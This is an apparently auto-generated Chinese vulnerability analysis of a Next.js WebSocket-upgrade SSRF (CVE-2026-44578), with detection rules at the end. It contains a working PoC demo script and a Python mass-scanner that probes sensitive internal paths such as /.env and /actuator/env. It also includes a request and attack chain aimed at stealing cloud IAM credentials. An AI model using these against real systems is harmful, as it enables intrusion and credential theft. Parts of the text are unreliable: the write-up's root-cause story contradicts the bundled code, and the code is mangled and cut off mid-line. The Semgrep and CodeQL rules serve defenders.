🎯 CVE-2026-44578 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-44578 深度技术分析
CVE-2026-44578 深度技术分析 — Next.js WebSocket 升级 SSRF
🕷️ CVE-2026-44578 深度技术分析
Next.js WebSocket 升级请求中的 SSRF 漏洞
📌 漏洞编号:CVE-2026-44578 / GHSA-c4j6-fc7j-m34r ⚠️ 危害等级:HIGH 🔧 组件:npm/next(Next.js 内置 Node.js 服务器)
摘要:Next.js 自托管部署在调用内置 Node.js 服务器处理 HTTP 请求时,具有完善的重写(rewrites)与安全校验逻辑;然而当请求携带 Upgrade: websocket 头时,Next.js 的升级处理路径缺失了与普通 HTTP 请求同等的安全校验。攻击者通过精心构造的 WebSocket 升级请求,可诱导 Next.js 服务器将连接代理至任意内网或外网地址,构成服务端请求伪造(SSRF)。该漏洞影响范围包括使用 Next.js 内置服务器直接暴露在公网的自托管应用。Vercel 托管部署因架构隔离不受影响。本文基于 GitHub Advisory、PoC 仓库及检测指纹规则,深入剖析漏洞根因、利用链、检测方法与修复措施。
📌 漏洞概述
| 属性 | 详情 |
|---|---|
| 漏洞编号 | CVE-2026-44578 |
| GitHub Advisory | GHSA-c4j6-fc7j-m34r(HIGH) |
| 影响组件 | npm/next — Next.js 内置 Node.js 服务器(自托管场景) |
| 漏洞类型 | 服务器端请求伪造(SSRF)— CWE-918 |
| 严重性 | HIGH(GHSA 定级) |
| 受影响版本 | Next.js ≤ 15.5.15(根据 PoC 确认;更早版本需参考官方公告交叉验证) |
| 修复状态 | 官方已修复(对 WebSocket 升级处理应用与普通 HTTP 请求相同的安全检查) |
| 威胁场景 | 自托管、使用 next start 或等效内置服务器、直接暴露在不可信网络 |
| 是否在 CISA KEV | 否(未收录) |
| 公开 EXP | Exploit-DB 未收录 |
| 公开 PoC | 存在 GitHub 验证仓库:panchocosil/verify-ghsa-c4j6-fc7j-m34r |
该漏洞是典型的「协议处理路径不一致」问题。Next.js 路由引擎花费了大量精力保证 HTTP 重写(rewrites)、重定向(redirects)和代理(proxying)行为不会成为 SSRF 跳板——这些检查覆盖了常规 HTTP 请求。但 WebSocket 升级(Upgrade)请求的处理流程被独立实现,且遗漏了 URL 合法性验证、外部网络访问限制等关键环节,最终形成了绕过路径。
🔬 漏洞根因分析
要理解这个漏洞,必须先理解 Next.js 自托管模式下的请求处理模型。
2.1 正常 HTTP 请求的安全校验机制
在 Next.js 的 Node.js 服务器实现中,每一个进入的 HTTP 请求都会经过一套严格的路由解析流程:
- URL 规范化:解析
req.url,合并basePath、next.config.js中的配置。 - 重写规则计算:Next.js 的多层路由(文件系统路由、动态路由、
rewrites()定义的规则)会一并参与计算,决定请求最终是渲染页面还是被代理到远端 URL。 - 内部请求校验:当路由匹配到一个需要代理/重写的目的地时,Next.js 会校验该目的地是否在允许名单内,或者是否满足内部安全检查(例如禁止访问链路本地地址、云元数据 IP 等)。
- 受限地址防护:正常的 HTTP 代理路径会拒绝目标地址为
127.0.0.0/8、169.254.169.254(云元数据)、10.0.0.0/8(内网)等敏感地址——或者至少要求开发者在配置中显式声明允许访问。
这一机制的设计初衷是:rewrites 是开发者主动配置的功能,不能变成攻击者的 SSRF 跳板。即便开发者从未配置任何 rewrite,若路由处理有疏漏,攻击者也可能通过构造特殊请求让服务器自动将请求代理到一个由 URL 参数或路径控制的地址。
2.2 WebSocket 升级路径的「独立王国」
当客户端发起带 Upgrade: websocket 头的 HTTP 请求时,Node.js 的 http.Server 会触发 'upgrade' 事件。Next.js 的错误在于:对此事件监听器的实现,几乎完全复制了普通请求处理中「查找匹配路由并调用代理」的逻辑,却砍掉了安全校验环节。
从检测指纹规则中可以直观看到出问题的函数签名:
upgrade(req, socket, head)
handleUpgrade(req, socket, head)
handleWebSocketUpgrade(req, ...)这些函数直接接收客户端裸请求对象 req 和底层网络套接字 socket,随后根据目标主机和端口发起内联连接(outbound connection)。在设计上,他们认为「WebSocket 升级应被转发到预先配置的 WebSocket 后端」,但对于究竟转发到哪 这个关键决策,错误的信任了请求中可被攻击者操纵的数据。
具体技术原因可以拆解为三点:
缺陷一:URL 来源不可信。
攻击者在 WebSocket 升级请求的 URL(路径、查询参数)中注入外部目标地址,例如:GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
Upgrade: websocket
一些实现会直接使用 req.url 中的主机部分作为代理目的地。缺陷二:缺少 127.0.0.0/8、链路本地及内网地址过滤。
普通 HTTP 请求路径会拒绝向 127.0.0.1、169.254.169.254 等地址转发。但 WebSocket 升级路径完全忽略了这些限流,导致攻击者能访问服务器本机端口、云厂商元数据服务(IMDS)、内网管理接口等。缺陷三:升级请求与 HTTP 请求共享路由状态,但未共享安全策略。
同一个 Next.js 应用中,HTTP 通道中采用的同一套「请求目标校验模块」并未被正确绑定到 upgrade 事件的处理函数中。这是典型的「策略复用缺失」漏洞。
2.3 为什么会发生这种状况
从工程角度推测:WebSocket 升级处理代码可能是后期单独添加的,对接了某些自定义服务器或中间件。由于升级请求本身非常罕见,且不被常规反代(如 Nginx)配置所覆盖,测试人员很容易忽略这一通道。加上 WebSocket 升级天然包含「代理到别处」的内建逻辑,攻击者只需要找到一种方式将目标地址传递进去即可完成 SSRF。
仓库 verify-ghsa-c4j6 的 PoC 正是这样做的——它直接以 127.0.0.1:80 为目标,让 Next.js 服务器自己升级连接到自身,成功读取了 / 路径的 HTML 响应。这一 PoC 证明了漏洞的可交互性(in-band),而非仅仅是一个检测猜想。
💥 影响与危害
自托管 Next.js 应用一旦暴露在公网,且运行漏洞版本,则攻击者可以获得一个强大的内网渗透放大器。具体危害包括但不限于:
| 危害场景 | 说明 |
|---|---|
| 🔴 云元数据窃取 | 访问 http://169.254.169.254/latest/meta-data/ 读取临时凭据(AWS IAM Role、GCP metadata token 等),可能导致云账号接管。 |
| 🔴 内网服务探测与攻击 | 扫描并访问 10.0.0.0/8、172.16.0.0/12 等内网网段的管理面板、Redis、数据库端口,并可能通过 WebSocket 连接进一步交互。 |
| 🔴 自身服务数据读取 | 针对服务器自身的 127.0.0.1 端口发起请求,读取其他服务的敏感信息(如调试接口、未鉴权 API)。 |
| 🔴 内网横向代理 | 利用 Next.js 服务器作为跳板,将 WebSocket 流量中继到内网任意主机,形成稳定隧道。 |
| 🔴 绕过网络访问控制 | 部分云环境对公网访问有安全组限制,但借助已开放的 80/443 端口,攻击者能绕过边界防护直击内部。 |
特别值得注意的是,该漏洞是可回显(in-band)的:攻击者能直接在升级响应中读到目标服务的返回数据。这意味着它不仅是盲打 SSRF,而是能够实时交互的数据读取漏洞,利用价值显著提升。
🧪 PoC 复现分析
GitHub 仓库 panchocosil/verify-ghsa-c4j6-fc7j-m34r 提供了两个核心文件:demo_impact.sh(一键演示脚本)与 verify_ghsa_c4j6.py(WebSocket SSRF 验证器)。我们来分析其利用原理和关键步骤。
3.1 实验前置条件
PoC 构建了一个典型的自托管生产环境:
- Next.js 15.5.15(确认漏洞版本)
- 通过
setcap或 Docker 端口映射将next start绑定到 80 端口 - 服务器直接暴露(无前置反代保护)
这里刻意选择 127.0.0.1:80 作为攻击目标:由于 Next.js 自身监听在 80 端口,攻击者利用 SSRF 让服务器向自身发起 WebSocket 升级请求。这种「自我循环」的方式极大降低了实验门槛,同时证明了服务器具备将升级请求代理到任意地址的能力。
3.2 关键利用逻辑
verify_ghsa_c4j6.py 的功能可以用以下伪代码概括:
1. 构建原始 HTTP 请求:
GET {probe_path} HTTP/1.1
Host: {target}
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: xxxx
Sec-WebSocket-Version: 13
2. 通过 TCP 连接发送到 Next.js 服务器的地址(默认 127.0.0.1:80)
3. 解析服务器返回的升级响应头:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
4. 读取后续数据帧,提取实际响应体(如 HTML 内容)关键点在于:请求中的 Host 头、路径、查询参数共同决定了 Next.js 服务器将向哪里发起出站连接。PoC 中默认 --target 127.0.0.1:80 --probe-path /,于是服务器将升级请求重新代入自身,将首页 HTML 作为响应数据返回。
3.3 为什么能读到 HTML?
WebSocket 升级本身是一个「协议切换」握手,理论上升级后的数据应该是 WebSocket 帧格式。但 Next.js 服务器如果按 HTTP 路由处理了这部分请求,可能仍然走渲染管线,最终产生一个普通的 HTTP 响应体。验证器兼容了这种响应,从中直接提取出文本信息。这正是「Route 处理器未严格区分 Upgrade 语义」的另一实证。
3.4 演示脚本的工程化设计
demo_impact.sh 遵循了一套规范的验证流程:
- 环境准备:确保
node_modules中已安装 Next.js 15.5.15 - 干扰清理:杀死 80/3030 端口残留进程
- 构建与启动:
next build后以sudo -b next start -p 80启动 - 可用性探测:循环等待服务端口开放
- 漏洞触发:调用 Python 验证器,将 JSON 输出二次解析,提取
verdict与response_snippet - 结论判定:若
impact_confirmed=true,则证明 SSRF 已成功读取目标地址的数据
这种验证方式具备很强的可移植性:只要目标服务器存在漏洞,将 --target 改为任意内网 IP 或云元数据地址,即可验证更严重的利用场景。
⚔️ EXP 利用分析
虽然 Exploit-DB 尚未收录公开 EXP,但基于漏洞机理和 PoC 代码,我们可以抽象出完整的攻击链。假设攻击者面对的是一个运行 Next.js 15.5.15 的云服务器(victim.com),其元数据端口 169.254.169.254 上存有 IAM 临时凭据。
4.1 利用流程
① 探测 WebSocket 升级端点是否可用② 构造含目标地址的 Upgrade 请求(把 169.254.169.254 作为 Host)③ 发送到 victim.com 的 80/443 端口,触发 Next.js 升级处理器④ Next.js 服务器向 169.254.169.254 发起内联连接⑤ IMDS 返回 IAM 临时凭据⑥ Next.js 将响应数据放入升级响应流,攻击者读取⑦ 利用窃取的临时凭据接管云资源(进一步EXP阶段)
4.2 请求构造要点
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
许多 SSRF 防护会检查 URL 中的主机名是否为 IP 直连。但 Next.js 的漏洞路径对这一检查的缺失,使得上述攻击畅通无阻。攻击者还可以使用如下变形绕过
🧪 PoC 代码(GitHub 实际仓库)
### 文件: demo_impact.sh
```
#!/usr/bin/env bash
# demo_impact.sh — End-to-end impact demo for GHSA-c4j6-fc7j-m34r
#
# Scenario: Next.js self-hosted directly on port 80 (typical prod pattern
# via setcap / Docker port-mapping / root). The SSRF target defaults to
# localhost:80 — which IS the same Next process. The attacker exfiltrates
# the Next app's own HTML home page through the bug.
#
# Requires:
# - sudo (for port 80 bind)
# - a vulnerable Next install at LAB_DIR (default ../next-vuln-lab)
#
# Run:
# ./demo_impact.sh
set -euo pipefail
LAB_DIR="${LAB_DIR:-$HOME/tmp/next-vuln-lab}"
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &&
pwd )"
VERIFIER="$SCRIPT_DIR/verify_ghsa_c4j6.py"
if [ ! -d "$LAB_DIR" ];
then
echo "lab dir not found at $LAB_DIR — set LAB_DIR or create the lab first" >&2
exit 1
fi
cd "$LAB_DIR"
# pin vulnerable version
echo "[*] ensuring next@15.5.15 (vulnerable)..."
npm i next@15.5.15 --no-audit --no-fund --loglevel=error >/dev/null
./node_modules/.bin/next --version
# kill anything on :80 and :3030 from previous runs
sudo lsof -ti:80 2>/dev/null |
xargs -r sudo kill -9 2>/dev/null ||true
lsof -ti:3030 2>/dev/null |xargs -r kill -9 2>/dev/null ||true
sleep 1
echo "[*] building and starting Next on :80 (needs sudo)..."
./node_modules/.bin/next build >/dev/null
sudo -b ./node_modules/.bin/next start -p 80 >/tmp/next-impact-demo.log 2>&1
echo "[*] waiting for Next to bind :80..."
for _ in $(seq 1 30);
do
if curl -sf -o /dev/null http://127.0.0.1:80/;then break;fi
sleep 0.5
done
curl -sI http://127.0.0.1:80/ |head -2
echo
echo "[*] firing SSRF exploit — read Next's own home page via the upgrade SSRF"
echo " target=127.0.0.1:80 probe-path=/ (the proxy will loop to localhost:80=Next itself)"
echo
python3 "$VERIFIER" --target 127.0.0.1:80 --probe-path / --timeout 5 --json \
|
python3 -c '
import sys,json
r = json.loads(sys.stdin.read())
print(f"verdict: {r[\"verdict\"]}")
print(f"impact_confirmed: {r.get(\"impact_confirmed\",
False)}")
if r.get("upstream_status"):
print(f"upstream_status: {r[\"upstream_status\"]}")
if r.get("upstream_server"):
print(f"upstream_server: {r[\"upstream_server\"]}")
print(f"response (first 600 chars):")
print("-"*60)
print(r.get("response_snippet","")[:600])
print("-"*60)
print()
if r.get("impact_confirmed"):
print("IMPACT CONFIRMED — SSRF reached a service on the target localhost")
print(" and read response data back (see snippet above).")
sys.exit(0)
else:
print("Impact NOT confirmed — vulnerability indicator present but no")
print("data was exfiltrated. Re-check that something is listening on :80.")
sys.exit(1)
'
echo
echo "[*] cleanup: stop Next on :80"
sudo lsof -ti:80 |
xargs -r sudo kill -9 2>/dev/null ||true
```
### 文件: verify_ghsa_c4j6.py
```
#!/usr/bin/env python3
"""
verify_ghsa_c4j6.py — In-band verifier for GHSA-c4j6-fc7j-m34r / CVE-2026-44578
(Next.js WebSocket-upgrade SSRF;affected: next >=13.4.13 <15.5.16,
>=16.0.0 <16.2.5)
For authorized security testing only.
DETECTION MODEL (revised after empirical testing against next@15.5.15 vs 15.5.16):
The vulnerable code path in `resolveRoutes` treats any request URI containing
`//` (which is every absolute-form request-URI) as a "normalize repeated
slashes" case. It collapses the `//` to `/`,
then the unpatched upgrade
handler in `router-server.ts` still proxies the result. The mangled target
(`http:/host:port/path` with one slash) loses its host,so Node's URL parser
gives `host=null`,
and `http-proxy` falls back to `localhost:80` (HTTPS:443).
The practical SSRF surface is therefore ANY service listening on the Next.js
host's localhost:80 or localhost:443 — with an attacker-controlled path.
Because the connection never reaches an external host,
an out-of-band canary
will not receive callbacks. Detection is instead done in-band by reading the
upgrade socket:
- "Internal Server Error" in the response ->VULNERABLE
(Next's http-proxy error handler ran;only the pre-patch path
enters that code branch.)
- Response starts with "HTTP/1." ->
VULNERABLE + reachable
(A service on the host's localhost actually answered the proxy.)
- Empty response / clean close ->LIKELY PATCHED / not Next /
behind a reverse proxy that
strips Upgrade
- Anything else ->
INCONCLUSIVE
False-positive guard: a control probe with the same absolute-URI request
line but NO Upgrade headers is sent first. If the front-end (nginx/Apache/
CDN) returns the same response to both probes,
it is short-circuiting the
malformed request line on its own — the SSRF never reached Next — and the
verdict is downgraded to `front_end_intercepts`. Disable with
--no-control-probe.
Usage:
python3 verify_ghsa_c4j6.py --target https://app1.example.com
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
cat targets.txt |
python3 verify_ghsa_c4j6.py
"""
from __future__ import annotations
import argparse
import asyncio
import base64
import json
import re
import secrets
import ssl
import sys
from urllib.parse import urlsplit
DEFAULT_TIMEOUT = 5.0
DEFAULT_CONCURRENCY = 10
DEFAULT_PROBE_PATH = "/x" # arbitrary;
becomes the path on localhost:80 of the target
HTTP_STATUS_RE = re.compile(r"^HTTP/1\.\d (\d{3}) ")
# Common paths that often surface co-located services on localhost. The SSRF
# in this CVE is pinned to the target's localhost:80/443,so these are the
# kinds of paths that can reveal what (if anything) is listening there.
DEFAULT_SCAN_PATHS = [
"/","/index.html",
# apache / nginx status modules
"/server-status","/server-info","/nginx_status","/stub_status",# health &status
"/health","/healthz","/_health","/status","/_status","/ping","/ready","/readyz","/live","/livez",# metrics
"/metrics","/prometheus","/_metrics",# admin panels (common framework defaults)
"/admin","/admin/","/administrator/","/manager/html",# tomcat
"/console",
# weblogic / others
"/wp-admin/","/wp-login.php",# generic apis
"/api","/api/v1","/api/v2",# spring boot actuator
"/actuator","/actuator/env","/actuator/health","/actuator/mappings","/actuator/beans","/actuator/configprops","/actuator/heapdump","/actuator/threaddump",# go pprof / expvar
"/debug/vars","/debug/pprof/","/debug/pprof/heap",
# docker daemon over http
"/containers/json","/version","/info","/images/json",# leaky config files often dropped at webroot
"/.env","/.git/config","/.git/HEAD","/config","/config.json",# php classics
"/phpinfo.php","/info.php","/phpmyadmin/",# elasticsearch
"/_cat/indices","/_cluster/health","/_nodes",# jmx / jolokia
"/jmx-console/","/jolokia/list",
# next.js itself (loopback when next is the localhost service)
"/_next/static/",]
def build_payload(absolute_uri: str,target_host_header: str) ->bytes:
lines = [
f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: Upgrade","Upgrade: websocket","Sec-WebSocket-Version: 13","Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==","","",
]
return "\r\n".join(lines).encode("latin-1")
def build_control_payload(absolute_uri: str,target_host_header: str) ->bytes:
"""Same absolute-URI request line as the SSRF probe,but with no Upgrade
headers. Used to detect front-end proxies (nginx/Apache/etc) that reject
the request line themselves — those return identical errors with or
without the upgrade headers,
which would otherwise produce a false
positive on the `HTTP/1.x` / `Internal Server Error` heuristics."""
lines = [
f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: close","","",]
return "\r\n".join(lines).encode("latin-1")
def parse_target(url: str) ->tuple[str,int,
bool]:
if "://" not in url:
url = "http://" + url
parts = urlsplit(url)
host = parts.hostname
if not host:
raise ValueError(f"invalid target: {url}")
is_tls = parts.scheme == "https"
port = parts.port or (443 if is_tls else 80)
return host,port,is_tls
def parse_proxy(url: str) ->tuple[str,int,str |None,str |None]:
"""Return (host,port,username,
password) for an http(s):// CONNECT proxy."""
if "://" not in url:
url = "http://" + url
p = urlsplit(url)
if p.scheme not in ("http","https"):
raise ValueError(f"unsupported proxy scheme: {p.scheme}")
if not p.hostname:
raise ValueError(f"invalid proxy URL: {url}")
port = p.port or (443 if p.scheme == "https" else 8080)
return p.hostname,port,
p.username,p.password
async def _open_via_proxy(
target_host: str,target_port: int,ssl_ctx: ssl.SSLContext |None,proxy_info: tuple[str,int,str |None,str |None],timeout: float,):
"""Open a (possibly TLS) connection through an HTTP CONNECT proxy."""
p_host,p_port,p_user,p_pass = proxy_info
reader,writer = await asyncio.wait_for(
asyncio.open_connection(p_host,p_port),
timeout=timeout
)
lines = [
f"CONNECT {target_host}:{target_port}HTTP/1.1",f"Host: {target_host}:{target_port}",]
if p_user is not None:
creds = f"{p_user}:{p_pass or ''}".encode("latin-1")
token = base64.b64encode(creds).decode("ascii")
lines.append(f"Proxy-Authorization: Basic {token}")
lines.extend(["",
""])
writer.write("\r\n".join(lines).encode("latin-1"))
await writer.drain()
status = await asyncio.wait_for(reader.readline(),timeout=timeout)
if not status:
writer.close()
raise OSError("proxy closed before CONNECT response")
parts = status.decode("latin-1","replace").split(" ",2)
if len(parts) <
2 or not parts[1].startswith("2"):
writer.close()
raise OSError(f"CONNECT failed: {status.decode('latin-1','replace').strip()}")
while True:
line = await asyncio.wait_for(reader.readline(),timeout=timeout)
if line in (b"\r\n",b""):
break
if ssl_ctx is not None:
if not hasattr(writer,
"start_tls"):
raise RuntimeError(
"TLS over CONNECT proxy requires Python 3.11+"
)
await writer.start_tls(ssl_ctx,server_hostname=target_host)
return reader,writer
def _first_line(snippet: str) ->str:
return snippet.split("\r\n",1)[0] if snippet else ""
def _responses_match(probe: str,control: str) ->
bool:
"""Heuristic: probe response looks like the control (no-upgrade) response,
meaning the front-end short-circuited the request regardless of Upgrade
headers. We compare the status line and total length within a tolerance
so dynamic content like `Date:` doesn't cause false negatives."""
if not probe or not control:
return False
if _first_line(probe) != _first_line(control):
return False
a,b = len(probe),
len(control)
return abs(a - b) <= max(50,int(0.10 * max(a,b)))
def classify(snippet: str,control_snippet: str |None = None) ->tuple[str,bool,dict]:
"""Map the raw bytes of the socket reply to (verdict,impact_confirmed,
extras).
impact_confirmed is True iff the response shows that the proxied upgrade
actually reached a service on the target's localhost:80/443 and read
something back — i.e. real data exfiltration through the SSRF gadget.
When `control_snippet` is provided (response to the same request line
with `Connection: close` and no Upgrade headers),
a front-end-proxy
short-circuit guard runs: if both responses look identical,the host's
own front-end is rejecting/handling the request line itself and the
SSRF never fired — verdict downgrades to `front_end_intercepts`.
"""
extras: dict = {}if not snippet:
return "likely_patched",False,extras
if control_snippet is not None and _responses_match(snippet,
control_snippet):
# Front-end (nginx/Apache/CDN/etc) responded identically to the
# control probe — the upgrade-driven SSRF path is not what we saw.
if snippet.startswith("HTTP/1."):
m = HTTP_STATUS_RE.match(snippet)
if m:
extras["front_end_status"] = int(m.group(1))
for line in snippet.split("\r\n")[1:15]:
low = line.lower()
if low.startswith("server:"):
extras["front_end_server"] = line.split(":",
1)[1].strip()
break
return "front_end_intercepts",False,
extras
if snippet.startswith("HTTP/1."):
m = HTTP_STATUS_RE.match(snippet)
if m:
extras["upstream_status"] = int(m.group(1))
# parse a few common headers from the first chunk for operator triage
for line in snippet.split("\r\n")[1:15]:
low = line.lower()
if low.startswith("server:"):
extras["upstream_server"] = line.split(":",
1)[1].strip()
elif low.startswith("content-type:"):
extras["upstream_content_type"] = line.split(":",1)[1].strip()
return "vulnerable_proxy_succeeded",True,extras
if "Internal Server Error" in snippet:
return "vulnerable",False,extras
return "inconclusive",False,extras
async def _send_payload(
host: str,port: int,is_tls: bool,
payload: bytes,timeout: float,verify_tls: bool,proxy_info: tuple |None,) ->tuple[str,str |None]:
"""Open a (TLS / proxied) socket,send `payload`,read until close.
Returns (snippet,error). Snippet is the bytes decoded as latin-1 (so
binary stays intact). On any connect/send error,error is set and
snippet is empty."""
ssl_ctx: ssl.SSLContext |
None = None
if is_tls:
ssl_ctx = ssl.create_default_context()
if not verify_tls:
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
try:
if proxy_info is not None:
reader,writer = await _open_via_proxy(
host,port,ssl_ctx,proxy_info,
timeout
)
elif ssl_ctx is not None:
reader,writer = await asyncio.wait_for(
asyncio.open_connection(host,port,ssl=ssl_ctx,server_hostname=host),timeout=timeout,)
else:
reader,writer = await asyncio.wait_for(
asyncio.open_connection(host,port),timeout=timeout
)
except (asyncio.TimeoutError,OSError,
ssl.SSLError,RuntimeError) as e:
return "",str(e)
try:
writer.write(🕵️ 检测指纹规则
🛡️ Semgrep 审计规则: CVE-2026-44578.yaml
rules:
- id: CVE-2026-44578-ssrf-javascript
languages:
- javascript
- typescript
severity: ERROR
message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
patterns:
- pattern-either:
- pattern: "upgrade(req,socket,head)"
- pattern: "handleUpgrade(req,socket,head)"
- pattern: "handleWebSocketUpgrade(req,
...)"
- pattern-not-inside: "createProxyServer({...})"
fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
metadata:
cwe: "CWE-918"
owasp: "A1: Server-Side Request Forgery"
technology: nextjs
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"
- id: CVE-2026-44578-ssrf-typescript
languages:
- typescript
severity: ERROR
message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
patterns:
- pattern-either:
- pattern: "upgrade(req: $REQ,
socket: $SOCK,head: $HEAD)"
- pattern: "handleUpgrade(req: $REQ,socket: $SOCK,head: $HEAD)"
- pattern: "handleWebSocketUpgrade(req: $REQ,...)"
- pattern-not-inside: "createProxyServer({...})"
fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
metadata:
cwe: "CWE-918"
owasp: "A1: Server-Side Request Forgery"
technology: nextjs
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"🛡️ CodeQL 审计规则: CVE-2026-44578.ql
/**
* @kind path-problem
* @id javascript/ssrf/cve-2026-44578
* @name SSRF via WebSocket upgrade in Next.js
* @description User-controlled WebSocket upgrade requests are proxied to arbitrary destinations,
leading to server-side request forgery
* @problem.severity error
* @tags security
* external/cwe/cwe-918
*/
import javascript
import semmle.javascript.security.dataflow.ServerSideRequestForgeryQuery
import ServerSideRequestForgery::PathGraph
from
ServerSideRequestForgery::PathNode source,ServerSideRequestForgery::PathNode sink
where
ServerSideRequestForgery::flowPath(source,
sink) and
exists(DataFlow::CallNode wsCall |wsCall.getCalleeName() = "upgrade" and
wsCall = sink.getNode().asExpr().(DataFlow::CallNode)
)
select sink.getNode(),source,sink,"User input in WebSocket upgrade request flows to $@ - potential SSRF",sink.getNode(),"proxied upgrade request"🤖 本文由漏洞情报系统自动聚合生成 · 2026-07-31 18:58 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库